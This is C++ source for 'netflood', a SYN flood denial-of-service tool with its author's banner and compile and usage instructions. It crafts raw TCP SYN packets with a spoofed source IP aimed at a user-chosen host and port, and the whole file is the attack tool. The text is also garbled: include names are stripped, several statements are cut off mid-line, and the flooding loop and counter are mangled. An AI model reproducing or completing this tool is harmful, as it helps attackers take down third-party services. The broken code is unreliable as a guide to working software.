/* Rooty's SYN Flooder -Aka."netflood" * Rooty@netflood.net * http://www.netflood.net * "We Won't Waste Your Time." * To compile: g++ -o netflood netflood.c * Usage: ./netflood */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include void counter(unsigned int); void banner(void); void main(int argc,char **argv) { banner(); int sockfd; int on = 1; int datalen; char sendbuffer[300]; struct iphdr *iphdr; struct tcphdr *tcphdr; struct sockaddr_in target; if(argc != 4) { cout<<"\n\nbash#./netflood \n"; return 0; } if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) <0) { cout<<"\n\nError socket()"; cout<<"\nAre you root ? \n"; return 0; } setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); iphdr = (struct iphdr*)sendbuffer; tcphdr = (struct tcphdr*) (sendbuffer + sizeof(struct iphdr)); iphdr->ihl = 5; iphdr->version = 4; iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen); iphdr->id= 1611; iphdr->frag_off = 0; iphdr->ttl = 200; iphdr->protocol = IPPROTO_TCP; iphdr->saddr = inet_addr(argv[1]); iphdr->daddr = inet_addr(argv[2]); tcphdr->source = htons(1611); tcphdr->dest = htons(atol(argv[3])); tcphdr->seq = random(); tcphdr->doff = 5; tcphdr->syn = 1; tcphdr->window = htons(6111); target.sin_family = AF_INET; target.sin_addr.s_addr = iphdr->daddr; target.sin_port = tcphdr->dest; cout<<"\n\nSyn-Flood attack is started from \n"; cout<= 10 && i < 100) { cout<<"\b\b"; } if(i >= 100 && i < 1000) { cout<<"\b\b\b"; } if(i >= 1000 && i < 10000) { cout<<"\b\b\b\b"; } if(i >= 10000 && i < 100000) { cout<<"\b\b\b\b\b"; } if(i >= 100000 && i < 1000000) { cout<<"\b\b\b\b\b\b"; } if(i >= 1000000 && i < 10000000) { cout<<"\b\b\b\b\b\b"; } if(i >= 10000000 && i < 100000000) { cout<<"\b\b\b\b\b\b\b"; } if(i >= 100000000 && i < 1000000000) { cout<= 1000000000) { cout<<"\b\b\b\b\b\b\b\b"; } cout<